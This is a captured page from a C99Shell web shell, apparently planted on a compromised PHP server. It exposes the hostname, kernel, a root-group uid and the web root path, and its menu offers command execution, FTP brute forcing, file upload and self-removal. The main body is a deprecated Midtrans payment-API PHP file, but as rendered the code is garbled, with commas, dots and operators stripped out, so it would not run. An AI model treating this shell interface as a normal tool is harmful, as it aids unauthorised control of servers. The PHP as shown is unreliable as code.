!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/midtrans/midtrans-php/Midtrans/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SnapApiRequestor.php (3.95 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Midtrans;

/**
 * Send request to Snap API
 * Better don't use this class directly, use Snap
 * @deprecated this class already deprecated. We will deleted on the next major release. We have been centralized the
 * requestor via ApiRequestor.php
 */

class SnapApiRequestor
{
    
/**
     * Send GET request
     * 
     * @param string  $url
     * @param string  $server_key
     * @param mixed[] $data_hash
     */
    
public static function get($url$server_key$data_hash)
    {
        return 
self::remoteCall($url$server_key$data_hashfalse);
    }

    
/**
     * Send POST request
     * 
     * @param string  $url
     * @param string  $server_key
     * @param mixed[] $data_hash
     */
    
public static function post($url$server_key$data_hash)
    {
        return 
self::remoteCall($url$server_key$data_hashtrue);
    }

    
/**
     * Actually send request to API server
     * 
     * @param string  $url
     * @param string  $server_key
     * @param mixed[] $data_hash
     * @param bool    $post
     */
    
public static function remoteCall($url$server_key$data_hash$post true)
    {
        
$ch curl_init();

        
$curl_options = array(
        
CURLOPT_URL => $url,
        
CURLOPT_HTTPHEADER => array(
            
'Content-Type: application/json',
            
'Accept: application/json',
            
'Authorization: Basic ' base64_encode($server_key ':')
        ),
        
CURLOPT_RETURNTRANSFER => 1,
        
// CURLOPT_CAINFO => dirname(__FILE__) . "/../data/cacert.pem"
        
);

        
// merging with Config::$curlOptions
        
if (count(Config::$curlOptions)) {
            
// We need to combine headers manually, because it's array and it will no be merged
            
if (Config::$curlOptions[CURLOPT_HTTPHEADER]) {
                
$mergedHeders array_merge($curl_options[CURLOPT_HTTPHEADER], Config::$curlOptions[CURLOPT_HTTPHEADER]);
                
$headerOptions = array( CURLOPT_HTTPHEADER => $mergedHeders );
            } else {
                
$mergedHeders = array();
            }

            
$curl_options array_replace_recursive($curl_optionsConfig::$curlOptions$headerOptions);
        }

        if (
$post) {
            
$curl_options[CURLOPT_POST] = 1;

            if (
$data_hash) {
                
$body json_encode($data_hash);
                
$curl_options[CURLOPT_POSTFIELDS] = $body;
            } else {
                
$curl_options[CURLOPT_POSTFIELDS] = '';
            }
        }

        
curl_setopt_array($ch$curl_options);

        
// For testing purpose
        
if (class_exists('\Midtrans\VT_Tests') && VT_Tests::$stubHttp) {
            
$result self::processStubed($curl_options$url$server_key$data_hash$post);
            
$info VT_Tests::$stubHttpStatus;
        } else {
            
$result curl_exec($ch);
            
$info curl_getinfo($ch);
            
// curl_close($ch);
        
}

        if (
$result === false) {
            throw new 
\Exception('CURL Error: ' curl_error($ch), curl_errno($ch));
        } else {
            try {
                
$result_array json_decode($result);
            } catch (
\Exception $e) {
                
$message "API Request Error unable to json_decode API response: ".$result ' | Request url: '.$url;
                throw new 
\Exception($message);
            }
            if (
$info['http_code'] != 201) {
                
$message 'Midtrans Error (' $info['http_code'] . '): '
                    
$result ' | Request url: '.$url;
                throw new 
\Exception($message$info['http_code']);
            } else {
                return 
$result_array;
            }
        }
    }

    private static function 
processStubed($curl$url$server_key$data_hash$post)
    {
        
VT_Tests::$lastHttpRequest = array(
        
"url" => $url,
        
"server_key" => $server_key,
        
"data_hash" => $data_hash,
        
"post" => $post,
        
"curl" => $curl
        
);

        return 
VT_Tests::$stubHttpResponse;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0053 ]--